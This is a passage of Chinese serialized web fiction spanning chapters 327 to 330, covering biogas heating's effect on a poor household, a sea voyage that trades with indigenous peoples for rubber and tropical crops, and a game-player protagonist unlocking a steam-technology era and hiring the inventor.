虽说五百文对有些人来说压力也大,但咬咬牙也能交得起,最多也就是收支平衡,但好歹是能活下来。 等到不供暖时,月250文也算划算方便,且实在交不起的话,还可以去申请关闭管道。 明娘子是幽州坎城一普通人家,三个孩子的娘。 她家平日里全靠自己去接点织布的活计,丈夫是出卖苦力的,实在是很寻常的人家。 三个孩子自然是不上学的,穷人没有那个条件。 所以日常孩子们负责打理家中种的蔬菜,顺带去玩的时候打点野草,野果,捉点虫子给家里的禽畜吃。 先前那什么沼气管道从她家经过,明娘子担心得很,生怕日后再多出个别的费用,要知道他们家如今已是捉襟见肘,实在是再经受不住任何额外的压力了。 一开始没动静,明娘子松了口气,心想应当是没什么。 再过了一个月后,她像往常一样打算点燃柴火,确保柴火能烧一晚上,让家人不至于被寒夜冻死时,突然有小道消息相传那什么沼气要通了。 明娘子吓了一跳——这,这得要钱吧? 打听了一番,说什么一个月得缴五百文,明娘子的天一下就塌了。 五百文这可如何是好,家里如今哪有这么多钱。 钱都用在日常生活上了,好多天没有荤腥,靠的还是家中三个孩子出门冰下摸鱼吃了点肉。 和明娘子一样惊惶的人不少,大都是和她家情况差不多的,大伙对什么沼气池并不明了,只知道这又是一项新的收费项目。 个个心情沉重。 等到第二日来临,明娘子一大早就被官兵喊着去了一处集合。 寒冬腊月的,她哆嗦着走着,倒是遇到了不少熟人,一看都是管道经过地方的人。 等到了目的地,众人聚在一起,总算是没有那么冷了。 于是那官兵就开始板着脸讲,讲沼气池,讲这如何用,讲怎么维护,又讲这作用如何,还给他们示范一遍。 明娘子靠得近,那火焰扑哧一下窜起来时,她吓得后退一步,但很快就发觉,这东西还怪好点着的。 那人不过是拧了一下,火立马就起来了。 暖烘烘的热度传来,明娘子稍微靠得近了一些。 好仔细听人说话。 从一开始疑惑到后来的明悟,明娘子花得时间不算长。 她拿着自己花费三十文买的简易灯罩回了家,打算按照那官兵教的法子安装好灯罩。 本有些害怕她能不能做好,但实际上比她想象中简单多了。 试探着拧开旋钮,那沼气灯立即打开,明晃晃的,比原先的油灯强万倍。 明娘子那点恐惧的心很快就被抚平。 她又看看屋内,发现亮堂得让她心里暖洋洋的。 家里一到冬日就封窗了,不然寒风透进来,能冻死人。往日屋内总是黑黢黢的,油灯根本照不明,不像沼气灯。 她又拧开火,开始做饭,发现很方便——至少不用大冬天的去外面抱柴火,而且若是烧柴火的话,要考虑的因素很多,比如柴火要保持干燥,还要引燃物,还得花费额外的钱去买燧石这些东西,还要为了省钱,花费精力去预留火种,不然一个月最少也得花个五六文在点火上。 若是紧急情况下,还得用火折子取火,那就更贵了。 林林总总下来,饭前饭后要操心的都不少。 而如今不过是轻轻一拧即可,这可比原先方便太多了。 等到晚上丈夫回家时,温度已经上来了。 按照以往,她都会点燃柴火,将柴火堆得松散一些,好让燃烧得更充分,而三个孩子就会端着碗筷凑到火盆前去吃饭,实在是屋内也冷。 而如今,她连柴火盆都没拿出来,屋内吃着饭,竟然察觉不到冷意。 明娘子心想,这到底是什么神奇东西,竟能将屋内弄得这么暖。 三个孩子也好奇的问来问去,丈夫也投过来好奇疑惑的目光,明娘子便一边吃饭,一边将这沼气池的事大概说了说。 “算下来的话,咱们往日咱们点灯一个月得20文到30文,这做饭和取暖看天气情况,一个月也得250文到350文,算下来这三样花费是接近四百文。如今这沼气管道在供暖季度是一个月五百文。 虽说贵了一百文,但它暖和多了。” 第327章 新大陆 首先,暖和多了的意思指的是全身暖和,从头到脚的那种。 原先一个月250文到350文时,能做到的仅仅是不冻手而已。 但屋内肯定是达不到现在这个温度的。 如今温度温暖宜人,全家人呆在屋子里,尽管身上穿的衣服还是和往常一样,以往会觉得冷,但如今隐隐约约甚至觉得热。 因为温度很是舒适,所以面对着一百文钱的差距,夫妻二人商量一番后还是决定开通沼气。 一百文可以两人多做两天活赚出来,但若是错过了这开通的机会,日后不一定能有了。 毕竟白天时,明娘子听得清楚,那官兵说的是这沼气池如今开设的地方不多,他们还属于运气好的,不然的话还得等着,哪能用得上。 事实上,若只多花一百文,便能保障家人不会冻死在这个冬天,这笔账任谁都算的明白。 且因为沼气是随拧随用的,相对来说,更方便做饭使用,平时烧个水什么的也是很方便,一会就热了。 屋内温度比外面高多了,所以没什么意外时,明娘子就让孩子们在家里待着。 这还有个好处就是屋内温度高了,总算是清洗一番了。 以前冷得根本就不能洗澡,洗衣服,不然洗完了就会感染风寒。 如今有了地暖,屋内暖呼呼的,只需要在洗完澡后穿着秋天的衣服即可,这样就能将冬日的衣服清洗一番。 加上屋内温度,大概两天就干了。 干了后也是比原先蓬松太多了,虽说里面的棉花谈不上松软,但因为有了地暖的烘烤,可以让里面的棉花变得相对软乎一些。 如今的话,明娘子另外找了别的活计,就是给人洗衣裳。 这活计是大户人家外包出来的,负责清洗府内小厮、丫鬟衣服的。 她也是运气不错,偶然能弄到这活计。 因如今家里有地暖,暖和,于是便将脏衣服拿到家里洗。 洗的时候再添上热水,混合先放进去的冷水,混成温水,手伸进去也不冻人,倒是将洗衣服这活计彻底变成了体力活——冬日里洗衣服的价格比夏日偏高,主要是凉水冻人,冬日衣服厚重,难洗。 若是以前还是烧柴火时,明娘子舍不得一直烧柴火烧水,但如今是包月制的话,她总算能按需使用了,不至于为了省钱将手冻坏。 三个孩子虽说不去外面乱跑了,但也会帮忙将洗好的衣服拿出去晾在院子里。 共同协力,竟然将这活干得很好。 有太阳,不刮风时,外面的温度还算能接受。 三个孩子都洗得干净,穿着干净的,洗过一轮的棉衣棉裤帮家里干活。 像明娘子这样的人不少,都是运气不错,家中通了沼气,便出去找点活计去做。 于是没过多久,这一片区域竟然成了最大的一片洗衣坊。 因用热水洗涤,所以冻伤概率显著下降了。 收入的话,明娘子算了算,她现在一个月织布的话,月收入在600到1200文不等。 她会先将织布放在每日要做的第一件事,而后便是洗衣服。 洗衣服的话,这个月她大概能赚1200文,比织布多,但肯定要累点,至于洗衣服的东西也得自备,还得小心点不要洗坏衣服。 看着是先前多花了一百文开通沼气池,但这沼气管道开通后,间接的替她家又赚了一笔钱。 因洗衣订单增加,等到丈夫下工回来时,也需要帮忙一起洗。 这生活虽说累点,但比原先过得有些盼头了。 ——好歹这冬天不用害怕被冻死了。 另外三十座沼气池也正在进行修建。 自然是招聘了不少本地人充当小工,对于这些人的话,虞珠给的工钱就是幽州普遍工钱,大概在50文。 比不上明州最低要求给付的100文,但对于百姓来说,这50文已经很可以了。 至少比先前高了十来文。 还管饭。 这对于本地人来说,真是很好的活计了。 手下的人将沼气池的使用全部记录下来,在确定无误后,这份报告被送到虞珠面前。 虞珠一目十行扫过这些报告,而后合上这些记录。 ——仅仅是十座沼气池就能有这么大的变化,若是等这三十座沼气池全部修建完成,岂不是幽州经济也能逐渐好转? 一切暂时属于未知数,但总归是朝着好的方面发展的。 修建沼气池的速度很快,第一个用上那沼气池的大户,还在感慨——这玩意是真好用,别说,鲁班后人就是厉害,竟然能做出这么牛的东西,就是起初造价太贵,但花了钱的东西就是好,用起来暖得很。 当然,对于这些大户人家,沼气费可不是区区一个月五百文能了事的,毕竟大户家房子多,人多,用得也多,自然需要单独计费使用。 不过这些钱和以往府内需要支出的照明,取暖,做饭,等等花销相比,便宜多了,所以这些大户并没有提出异议。 与此同时,真正的鲁班后人,庄鱼则是在海上连着打了好几个喷嚏。 一旁的朗叔扔给他一件外套。 “穿厚点,小心生病,在船上生病不比家里,不好治。” 庄鱼有心辩解,想说不像是感冒,但又觉得好像没什么好说的,反正朗叔是关心他。 把衣服套好,船上的船员们则是开始围聚在一起,吃今日的午餐。 ——是先前和附近海域的人换的鱼干,以及椰子,蔬果。 这就不得不提到前两个月了。 当初他们准备了不少药材,食物,干货,以及可以投资交换的物品上了船。 行驶方面一切顺利,但也不知道是运气不好,还是别的,他们竟然一直没能在海上遇到可以停留的新大陆,亦或是小岛。 等在海上航行消耗完之前准备的蔬果后,就有人开始犯海员病了。 他们知晓这病,需要摄入一些蔬果才行,只是多日航行消耗完了蔬果,实在是没有机会补充。 于是只能耗着,看能不能找到陆地。 确认好指南针没有问题,庄鱼其实内心焦虑——按道理来说,应当有小岛或者是新陆地才对,不然这和航海图记录的对不上。 这航海图是鲁班后人才有的航海图,记载了一些地方人文,其中标记着一些模糊的新大陆地点。 船只上气氛有些低迷,庄鱼也不好多说,朗叔帮着查看风向,又看向远处。 本以为依旧颗粒无收,但很快,他就注意到远处似乎有一小黑点。 “前面有东西,全速前进,看着像是个岛屿。若是的话,咱们可以上去看看有没有什么蔬果,补充一下。” 好歹野果也行啊。 总算运气还可以了,至少这次是遇到了切切实实的岛屿。 更有意思的是,这岛屿上有原住民。 虽说听不懂对方的语言,但以物易物大伙都会。 庄鱼将自己船上的东西各自带了点样品,让这原住民的首领看。 对方看了看后,竟然对他们带的东西都还蛮感兴趣。 尤其是盐和糖。 在初次尝到这东西后,这首领立马兴奋得叽里咕噜乱叫,庄鱼和朗叔虽说不明白这话,但也能从对方丰富的肢体语言猜测一二。 ——很满意,想换点东西。 那首领忙带人回去也拿自己这边的好东西,好让他们过目。 庄鱼则是趁机和朗叔低声说话。 “朗叔,看来他们很需要这糖和盐,我们应该能换到一些东西。” 朗叔点头,脸庞也有些期待。 “不知道这些人能拿出来什么东西,不过说的话咱们真是一个字都听不懂,不然的话,不至于沟通这么费劲。” 庄鱼同意这说法。 没过一会人回来了,给带来了兽皮,一些干果,还有各类海鲜,还有新鲜的椰子。 别的暂且不说,他好奇这圆鼓鼓绿油油的东西是何物。 于是便见对方三下五除二,将椰子砍开,又给倒出来里面的汁水。 大炎朝并没有此物,所以两人看得很稀奇。 朗叔尝了一口,偷偷捏了一把庄鱼的手,这意思便是好喝,可以多换点。 因船上交易就派了他们两人,其余的人则是时刻搭着弓,对准这些人,生怕对方有别的想法。 而只有朗叔喝也是害怕对方下毒,或者是别的意外情况,至少要留一个人应付紧急情况。 这些人除了将椰汁倒光了后,又劈开椰子,将里面的椰肉也挖出来递过来。 朗叔尝了一口,察觉这玩意味道是真不错,不是很硬,介于软硬适中的程度,吃起来有股奶香味,实在是神奇。 除了这椰子外,庄鱼额外拿出一些种子,试图告诉对面他们也收种子。 总之费了一番劲,他们换取到了一大堆椰子,别的特殊蔬果,很多没怎么见过,还有一些干果,海鲜干。 对了,还收购了一批成色不错的珍珠,是用香料换的。 种子的话,还真被他们收购到了不少,只不过语言不通,庄鱼只能看种子,然后将对方拿过来的成品对应上,再让人记录好,起码回去研究的话,不至于弄混了这些都是什么种子。 等到两人做完生意,船上哧溜一声,滑下来不少人,个个拿着武器,看着不太好惹的样子。 船上还有人作为后手,防止出现争斗。 但这小岛的首领被他们的队伍吓了一跳。 这会后退几步,看着他们将东西拿走。 朗叔顺手将航海图标记一番,标记此地可以交易的种类,以及交易对象是否可靠。 等到庄鱼和朗叔一行人快离开时,这首领又赶忙追上来,送过来一张简易图纸。 庄鱼拿过来看了看,发现这图纸画了附近的大概情况,和他航海图记录的有出入,但这里确实有新大陆! 第328章 沟通 “新大陆的位置和之前我们标记的大方向一致,若是那首领给的地图没错的话,我们会在一个月后到达新大陆的区域。” 船员们十分激动——总算是有个靠谱消息了。 且值得一提的是,坏血病在喝了收回来的椰汁后,很快就逐渐好转起来。 如今船上物资补足了不少,再加上前不久从那小岛换了一些颇有价值的东西,庄鱼这些日子其实都在研究先前兑换来的物资。 除了珍珠外,他额外获得了新的香料。 这里的原住民比想象中要文明一点,好歹做饭用香料。 他们将货品拿过来时,庄鱼一行人在中挑选了几味味道不错的香料,先记录上对方是如何烹饪食物的,而后打算回去后慢慢实验,等确定用途后,再将这批香料高价卖给那些大户们。 至于带回来的种子,庄鱼也是额外小心保管,放置于干燥地方,生怕发霉。 对应的成品,他也是让人先给画个图,写下大概性状。 毕竟航海时间还长,这些成品很快就会坏掉,得快速将如今的性状,模样完全记录下来才对。 这活交给了队伍里一个雕刻师,专业对口。 庄鱼则是和朗叔将这一路的路途全部标记清楚——先前走了太多错误的路线,这次来就先当探路了。 回去研究一番,将这批货物卖掉,然后下次就可以直奔正确路线,起码效率比现在快多了。 记录完航线后,正值傍晚,海上火烧云一片,庄鱼也开始看今日这天。 美是美,但如今船上没人顾得上欣赏这个。 若是各方面都没错的话,船只应该会在这个点左右看到新大陆的痕迹。 不然的话,他们只能考虑新大陆不存在,之后便需要调整航道,返回原来的入海口。 眼看云彩逐渐变黯淡,但本该存在的新大陆痕迹迟迟看不到一丝一毫,不仅仅是庄鱼,就连一向淡定的朗叔都开始略有些心神不安。 队伍里众人也是凝神屏气,若此行寻找新大陆失败,他们下次能不能出海,只能看这次找到的东西有没有价值,若是能卖出价格,这才有继续出海的价值。 等到太阳的余晖消失在众人的眼前时,庄鱼也有些心灰意冷——难道真的要到这里止步了? 又等了一小会,看天色越来越黑,庄鱼叹了口气,刚想说明日考虑更换航线,返回入海口时,却突然看到远处似乎有小阴影逐渐出现。 这这是陆地! 众人陆陆续续全看到了这黑影,个个兴奋得探过来,朗叔也激动,但如今最重要的是趁着天气好快速往目标地前进,不然之后遇到雨天,就会很耽误行程。 按照保守状态估计,最快也得行驶两日到三日,这还是天气好的情况下,若是天气不好,大概得五日左右。 但人在有目标后,这种感觉和先前漫无目的的感觉不同。 人人都更有信心,不管如何,总之先看看这新大陆到底是什么模样。 同时也好奇,这里的人吃什么,穿什么,衣食住行怎么解决的? 想到先前那小岛上原住民的状态,庄鱼猜测这新大陆可能总体实力还是不如大炎朝的。 这自然有好处,那便是他们的船只可以保护自己不受伤害,对于交易很利好。 船只朝着目标迅速前进,前两日很是顺利,但在第三日时,海上开始下起了雨。 一开始还是小雨,后来越下越大,这就导致航行速度下降甚至停滞,只有在等到雨水稍微小了一些,海面平静后,这才再次前进。 等到花费一天半的时间行驶完毕剩余路程后,一行人终于靠近了新大陆。 众人谨慎地找了个隐蔽的地方先抛锚,而后便持着武器,进入这新大陆查看。 主要是看看这里到底有没有原住民。 当然,这很冒险,但不得不去探查。 不过他们不会走得太深,只是会在附近大概看看有没有人类生活过的痕迹而已。 还下着雨。 为了避免被雨水淋湿,大伙都穿了蓑衣,防止被淋透后惹了急症,在这地方生病那是要死人的。 庄鱼本想也下船加入探查队,但被船员拦了下来。 “小鱼,你在船上待着,若是我等出了意外便算了,你若是出了意外,全船的人都活不下去了。” 这倒是实话,毕竟能够弄懂机械推动器原理的目前就庄鱼一人,且他还负责看航海图,日常除了负责领导决策外,便是这些技术活了。 所以虽说庄鱼年纪小,但在船上还真没人忤逆他的,反而个个对他尊敬有加。 朗叔也穿戴好了蓑衣,拍了拍他的肩膀。 “小野,放心吧,有我呢,就算咱们打不过,也还能快些跑回来,你就负责和其他人接应我们。” 说完这话后,朗叔和其余人快速爬下船,手中拎着几个不起眼的防风油灯。 因是初步探查,所以庄鱼并未将大船梯打开,不然若是这里有强敌,一时半会收不上梯子也就搞笑了。 前去探查的一队人采取了锁降的方式下的船。 庄鱼眼看着那不停晃悠的小油灯消失在视野里,雨丝在船上灯光的映照下迅速飘摇起来。 风吹得里面的油芯不断摇晃。 因浓雾和阴天的关系,虽说是白天,但依旧需要点灯。 庄鱼让众人做好接应准备,在焦急等待了足足有两个时辰,才逐渐传来脚步声。 这熟悉的脚步,熟悉的暗号,是朗叔他们! 其余人也听出来了,稍放松一些便看到朗叔一行人回来了。 他们看着并没有受伤,只不过被雨水弄得浑身带着泥泞和湿意。 雨蓑已经被打透了,看来还是雨水下得太大。 他们一行人从绳索上被船上的人吊上去,顿时大伙七手八脚的围了上来,询问什么情况。 朗叔从背包里拿出来一块布料,料子看着很粗糙,不像是有什么高明针织技术存在,像是某种纤维编织而成的布料。 除了这麻制料子外,又额外拿出来一小块兽皮。 这尺寸看上去很小,应该是给幼儿使用的。 除此以外,他们还带回来一些别的可以证明此处确实有人的证据。 只不过目前最重要的是这物。 朗叔这么淡定的一个人,这会都看着有些掩饰不住的激动。 “小鱼,看看这衣服。我们在一处简易窝棚附近捡到的,那窝棚看着应当是没人住了,里面有这两样遗留物。 当时那窝棚在漏水,但这东西竟然完全没有被打湿。 一开始,我以为是皮毛的防水作用,譬如这皮毛是来自于海里的某种动物,能够抵御雨水侵袭。 但等我看到另一物时,便知晓不对劲。” 他拿起那编织物给大伙看,明眼人都能看出来,这东西就是麻布类制品,根本不具备防雨的可能性。 “之后我们又试了一下,发现这两样东西上似乎像是胶着着一层奇怪的膜,并非是我们经常使用的油膜,而是另一种未知的东西。 但这东西的防水性能很好,为了测试它的防水能力,我将它贴在两侧手臂上,一路走来,身上均已湿透,但唯独两臂贴着的地方还干爽着。 且我们在拿到这东西时,它们的内部就处于一个较为干燥的状态。” 朗叔看来是真的兴奋了,平时不太喜欢说话的人,如今也是说了好几句,致力于解释这东西到底有多有用。 庄鱼也很快理清楚后续。 “目前能肯定的是,这里有人,而且这种类似桐油的东西价格便宜,不然不会广泛用于涂抹在衣物上,还被任意丢弃,如今天色已晚,明日我们看情况,是否能和对方做一笔生意,将这新奇之物拿下。” 朗叔也是这意思,不过他还额外汇报了自己的其余发现。 “原住民应当各方面发展的并不好。我观他们留下的痕迹,定是没有像样的武器,工具,亦或是器皿,再其次便是此地潮湿,取火难度大,我等可用打火石,火绒,火折子来换取一批物资。 结合先前岛屿上原住民对盐巴和糖的欣喜程度,想来他们此地很是缺少制糖和盐的办法。 同时也能侧面说明,这里的医疗水平不行,若我们售出一些普通用的治疗风热的药物,应当也有收益。” 庄鱼知道朗叔观察得细致入微,点头后,他们清点了库存,而后决定先睡一觉,明日起来再和这新大陆的原住民交易。 第二日。 一大早,庄鱼是被船员着急叫醒的。 看他神色焦急,定是出了事。 等到庄鱼迅速赶到甲板上时,就看到自家船只前面来了不少人,密密麻麻的,个个举着自制的武器。 这些人肤色很深,像是烤焦了的馒头一样。 脸上涂抹着奇异的颜色,庄鱼看不清楚这东西到底是什么成分,但值得一提的是,这些人看上去神色谨慎,透露出一副被侵占领地一样的警惕模样。 意识到需要破冰后,庄鱼试探着和对方说了两句话,看双方压根是鸡同鸭讲,他不得不给对方稍微放了一点盐巴下来,当做见面礼。 毕竟昨晚他们就猜测食盐很珍贵,这些本地人肯定也不会制盐,要知道制盐工序复杂,这群人连工具都弄不到,更别提制盐了。 所以这一小包盐巴,更像是投石问路。 本以为能稍微减轻一些对方的警惕,结果这些人先是乌泱泱一下散开,而后看没动静,又聚集过来。 朗叔沉默了一会。 “小鱼啊,你确定这有用,为啥叔看他们好像更生气了?” 庄鱼看着的确像是暴怒的人,百思不得其解。 不应该啊,他们的推断应该没错才是,这些人有些不识好歹了! 刚这么想就看下面更生气了,眼看事情失控,庄鱼咬着牙,死马当活马医的将那小岛原住民首领给画的地图扔了出去。 第329章 返程 那张土著写的鬼画符地图很快飘落下去,落在这些人中间。 庄鱼其实也没法了,这群人看着像是应激了一样,也不知道是不是害怕他们是侵入者什么的。 本来庄鱼都做好了和对面互相磨时间的心理准备。 新大陆近在眼前,还有那神秘的防水布料,他定要弄明白才是。 今天不行就明天,明天不行就后天,总归是一定要拿到自己想要的东西。 倒是没想到,这些土著竟然在捡起了那鬼画符地图后慢慢冷静下来,至少看着没那么激动。 大概过了一会儿,里面有个明显看着是领头人的土著往前走了几步,看样子是打算去碰先前他们扔下去的那包盐巴。 眼看事态有所变化,庄鱼等人屏气看着这一幕该如何发展。 只见这领头土著先嗅了嗅,而后有人将一只狗带来,先喂了点给狗吃,看狗没什么意外后,这才有人尝了口。 这人的表情变化十分精彩,刚入嘴,愣了片刻后就开始叽里呱啦的叫。 这些土著们说的话都十分晦涩难懂,庄鱼他们是一个字都听不懂,只能仅从神态动作,推测这些人到底在说什么 总之看这模样,这些人看着像是很满意盐巴,因为那像是领头的人小心翼翼将那小袋的盐巴揣进怀里,像是对待珍贵之物一样。 因那张土著们画的地图,竟然意外打开了交易机会。 这变故让庄鱼等人面面相觑,不过最后还是迅速接受,还得感慨幸亏有那土著的地图,不然恐怕他们和土著们的交易不会这么轻松。 像是先前一样,庄鱼分别拿出一些样品让对方挑选。 同时,对方也差人去将他们这里的东西全都带过来,看庄鱼他们是否有能看得上的东西。 朗叔拿着那防水的两样布料递给这土著看,对方理解错误,反而将皮草和布料带来,一脸期待的伸手指了指盐巴,似乎是想要用这些东西和他们兑换。 看着这粗糙的麻织布和处理得略微僵硬不柔软的皮草,庄鱼抽搐着眼角,摇头后拿起水,淋在了这布料上,看着海水在布料上滚开,这土著稍琢磨一番,又很快拿来了新的东西。 这东西是用椰子壳装着端过来的,整体呈现出奶白色,像是某种植物的汁液。 庄鱼眼看这人拿出一小块布料,而后用一个自制的刷子刷了刷后,那布料上便被涂满了这奶白色的液体。 有人扇扇子让它干得更快,大概过了一刻钟,一块防水布料就做好了。 庄鱼和朗叔看得对视——原来是这样做的,工序简单到粗糙,看来这奶白色液体才是防水的主要原因。 没花多长时间,庄鱼一行人便用盐,糖,布料,打火石,简易药材包,兑换了许多奶白色液体。 不过这东西很神奇,干了以后竟然能够凝固成为有弹性的胶体,比想象中好保存。 除了这东西外,他们还额外拿出金银问了问,毕竟船员里总有人不死心,想出来顺带寻寻宝藏什么的。 虽然庄鱼劝过十有八九没用,毕竟金银都是好东西,若有这样的矿产,定是第一时间捏在官方手里的,问了肯定也是白问啊。 果然不出他所料,这些人也拿出了一些金银,不过是很小的小片。 这么多人才能凑出来一小片,船上众人大概就知道了,这里大概率也是用金银当货币呗。 这些人一看就穷巴巴的,肯定手头没钱。 暴富的心态骤缩,大伙各司其职,先将东西放好,又收购了本地的各类特殊农作物,以及蔬果。 不过令人惊诧的是,这些人竟然并不种植农作物,——从他们拿过来的东西并没有大量的系统性耕种作物就能推断出来。 这里的人更像是原始部落一样,只是采集,打猎,打渔,收集。 不过在这里面,有不少新鲜的水果他们还是头一次吃到。 黄橙橙的像是弯月一样的,得剥开皮吃,果肉呈现出淡白色,甜的,软糯口感。 粉色果皮,剥开后里面是甜滋滋的黄色果肉,核挺大,但十分味美。 还有便是状如婴儿脑袋大的一类果实,散发着一股奶香味,等剥开皮后,里面是黄色的果肉,吃起来带着油脂的香气,甜度也很高 兑换了不少,自然由他们挨个品鉴一番了。 等到吃到这些东西后,庄鱼就有些酸了——这么甜,还全是野生的果子,怪不得这群原住民不爱种植,合着是根本不需要啊。 这里又不存在冬季,也不需要费劲巴拉地为了填饱肚子努力,想来这些人日常就过得很悠然自得。 酸归酸,正经事还是要做的。 和先前一样,庄鱼会将这些农作物,野果对应的幼苗,种子,全部带上,并且做好记录,打算回去后细细研究,至于种子的话,看试试能不能种植成功。 种植的话,除了气候,温度,最重要的便是土壤。 所以庄鱼特意带了两桶这里的泥土,又带了他们这里的水带走。 与此同时,对于新鲜果蔬的储存,庄鱼选择将这些果蔬放在船内温度最低的储存室内,若是一切顺利的话,这些东西能够存放快二十天不坏。 一切准备就绪,就差返程了。 临走前,庄鱼指了指自己画的地图,问这领头人知不知道附近的陆地分布。 他其实没报期望——没法,不能指望发展这么落后的人能知晓附近海域情况啊。 倒是出乎他意料,这人竟然还真给他画了一幅附近海域情况。 虽说搞不清楚这土著是怎么弄到这些数据的,但庄鱼对比一番后发现,有一条近路可以让他们迅速返回大炎朝。 先前不走这条路是觉得不稳定,航海路程容易被阻碍,但如今的话,有了这人给的海域状况图,再对比着自己的地图,竟然能将这块陌生海域的状况摸清楚了。 其实不算危险,只要避开其中那一块暗礁区即可。 且若是从这里回去的话,他们只需要不到一个月就能回去了。 比原先快多了! 要知道他们已经在外呆了很久了,海上本就危险,庄鱼猜测父母迟迟听不到自己的消息,或许会以为他已经死在了海上。 既已补充完毕食水,庄鱼下令调整船头,按照规划的路线前进。 中途一行人确实遇到了那片水域危险区,但好在是因有地图,所以这才能提前避开。 整个过程有惊无险。 返程比去程快多了,大概前后花费了二十一天,等到船只进入先前的停泊口时,朗叔却意外察觉到如今这黎州边界地区的情况不太对劲。 没等船只抛锚,便看到原先处得还不错的一人正偷偷用手势给他们打招呼,那是让人快跑。 庄鱼也看到了,远处似乎有一支队伍正在骑马冲过来。 且最重要的是,这些人手臂已经搭上了弓箭,直勾勾对准了庄鱼的心口。 几乎瞬间,庄鱼就明白了——看来他的身份走漏出去了? 是谁?到底是谁发现他的? 他距离五年前的变化很大,按道理官府没道理能抓住他才是! 但情况紧急,他堪堪躲过这一只箭,扯着嗓子让船立马退出停泊口。 但很可惜,停泊口入口处已经有人守着了,无论他们是前进还是后退,都会被人瓮中捉鳖。 庄鱼咬牙看这些人冲过来,他手按了船只上的防御工程,箭雨“唰”的一声落下,瞬间便将马背上几人射穿,但箭雨数量不够,不可能一直放箭,于是在船只硬是破开阻拦,靠着箭雨冲开入口处的阻拦时,船只总算是暂时离开了。 身后还有人在穷追不舍,这个时候他们只能全力前进,然后靠着机械动力甩开追兵。 逃脱追捕。 庄鱼的心跳得快要飞出去,身后的冷箭“嗖嗖嗖”的破空而来,他顾不上太多,只顾着控制船只迅速离开此地。 等到好容易脱离追兵捕捉后,庄鱼这才松了口气,冷汗打湿了后背。 ——该死。 就算是在海里遇到风浪也没这么紧急的时候,若是被那些人抓住了,先不说他会被怎样,他最怕的就是用他去威胁父母,到时候定会惹出许许多多的麻烦来。 而其余跟着他混在一起的人,多少也会因为当年的事而被连累,说不定会落个全部被处置的下场。 船只还在全速前进,如今既然黎州不能停泊,那便只能将船只偷偷停靠在明州境内了。 而最重要的是,这些追兵如今已经发现了他们的痕迹,说不定会提前去埋伏他们。 庄鱼本来很好的心情顿时变得压抑愤怒起来,但别无他法。 不可能一辈子在海上漂泊,停泊口要么在黎州,要么在明州,他们如今只能选择去明州了。 说起明州,庄鱼不自觉想到了先前他曾经和朗叔二人前去时所看到的一切。 若是按照那日看的话,明州不失为一个好地方。 但即便是再好的地方,若有杀手跟踪,总归是心里难受得很。 庄鱼一行人下定决心,等到了明州境内后,他们必须要小心行事,千万不可和原先的熟人扯上关系,不然会给对方带去麻烦。 随着船只迅速进入明州境内,而此刻姜定的屏幕上则是弹跳出了新的提醒。 【你投资的探索家终于回来了。他似乎带来了一些不错的东西,请和他去交谈一番吧。】 姜定看着这提示,懵逼片刻后逐渐想起了之前他花了一万两投资给了一个偶然遇到的小npc来着。 噢噢噢,所以是小旅行青蛙回来了啊!就是不知道带回来的是什么CG还是别的游戏物资? 第330章 蒸汽机械 姜定在期待后很快打开地图,前去查看这小旅行青蛙的位置。 一点地图,就看到一个硕大黄色感叹号在疯狂跳动。 于是姜定没犹豫,直接选择了点了点这个黄色感叹号。 等到点上后,在观看完毕一小段的动态动画后,姜定的屏幕上瞬间弹出数行提醒。 【探索南秘地区,南秘地区航线开放。】 【检测到船舱机械蒸汽机存在,进入机械蒸汽时代,机械蒸汽科技树已开启。】 【南秘地区目前已点亮22%的植物。】 【恭喜您此次投资获得橡胶,弯辣椒,剑麻,木薯,红薯(已点亮),咖啡,金鸡纳树,椰子,花生,菠萝,香蕉,芒果,面包果种子图鉴。】 ——??? 不是,这啥啊。 怎么突然就点亮机械蒸汽了? 姜定大惊,开始一脸沉默的回想这游戏的过往CG画面里是否曾经画过机械蒸汽的画面,但很遗憾,他脑内暂且没想到。 所以说,这游戏结合了修仙,古代,现代大混杂啊!本来觉得弄出沼气池已经是跨时代的发明了,结果在投资一个小npc后突然整个游戏进度都感觉进入了三阶段啊! 譬如一阶段是古代生活,二阶段是沼气池存在的便利生活,三阶段便是如今的蒸汽机械时代。 姜定点开新带回来的作物。 那些花生,辣椒啥的作用他还是清楚的,但剑麻,金鸡纳树这到底干嘛的。 等将鼠标点在上方,这游戏倒也贴心,开始显现出一行小字给他看这玩意的作用。 剑麻:一种天然硬纤维,适用于做船缆、麻绳、帆布、弓弦。(是否要花费5000两改变种子特性,好让此作物可以生长在南方地区?) 金鸡纳树:提取奎宁,治疗疟疾的唯一特效药。!!! 这两样东西比想象中有用太多了! 他只知道橡胶对蒸汽时代的重要作用,却不知道这剑麻也如此有用。 不过为啥这一个能花钱改变种子特性,另一个却连这个提醒都没有啊! 姜定不死心,又将其余图鉴挨个点了一遍查看,很快就发现一个规律。 但凡是本土勉强能种植的,都可以花钱改配。 但若是本土压根没希望的,就只能从外地采收,而后带回来,因为这已经不是种子,土壤的问题了,而是气候的问题,属于无法改变的重要因素。 大概弄清楚后,姜定再次陷入一种诡异的欢喜中。 事实上,他很想看看这所谓的蒸汽时代到底会如何改善这游戏。 若是按照正常蒸汽时代的路程,应当会从船只,到火车。 从航行,运输到民生,由简到难的进行改造才是。 好不容易关闭这一则则弹屏,姜定这才有心思查看眼前之人的信息。 【庄鱼(墨玉):墨家学派直系接班人之一,好奇求索,重情仗义,温良谦和。】 姜定:???这游戏还有墨家后代啊,666。 再看看这人物卡,竟然是金色人物卡,属性属于工程师。 且更值得一提的是,按照介绍,他还能拉来另一金色人物卡,还额外有不少紫色人物卡愿意追随他。 对了,这么牛的角色,得看看有没有雇佣的可能性! 姜定忙查看一番,发现此人最下方赫然是一行小字。 【前置条件已满足,可雇佣。】 姜定恍然大悟——合着上次投资完全属于狗屎运啊! 竟然被他花一万两就能找到这样的奇才,不可不谓是运气好了! 他本来还以为最多能给带来一些别的好处就够了,谁能想到竟然通过这人物直接开启了新的蒸汽时代啊 很快,姜定便点开这人,选择了雇佣。 事实上,如今庄鱼人还在甲板上,还没等着下船呢,倒是有人先来了。 庄鱼当时完全是震惊,周围人,包括朗叔在内,全都是一副惊掉下巴,同时又隐约恐慌的模样。 他出现的时候,月光静悄悄流逝在他身上,一身青色衣袍随风自动,十分飘逸灵动。 先前在梦里没看清楚仙人模样,这会竟然是趁着皎洁的月光看得一清二楚。 庄鱼觉得自己的呼吸在这瞬间要停止了。 这张脸绝非俗世之物,哪怕当初他在梦里不曾看到过仙人的真颜,但这独一无二的气质,绝对就是那日梦中之人。 那个给了他一万两银的神秘仙人。 